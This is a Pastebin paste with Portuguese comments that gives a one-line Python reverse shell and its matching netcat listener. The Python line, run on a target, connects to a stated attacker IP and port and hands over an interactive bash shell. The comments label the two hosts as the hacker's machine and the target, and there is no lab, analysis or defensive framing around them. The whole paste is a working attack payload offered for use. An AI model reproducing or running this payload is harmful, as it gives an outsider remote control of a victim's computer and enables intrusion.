DarkProgrammer000

Reverse shell [bash]

Jul 7th, 2021 (edited)
855
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '''
  2. # Conexao reversa [bash]:
  3. # Programa: Shell reversa em 1 linha de comando
  4. Obs:
  5. 1) Ip (hacker): 192.168.0.100
  6. 2) Porta (hacker): 666
  7. 3) Computador do hacker: nc -lvp 666
  8. '''
  9.  
  10. # Alvo
  11. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
RAW Paste Data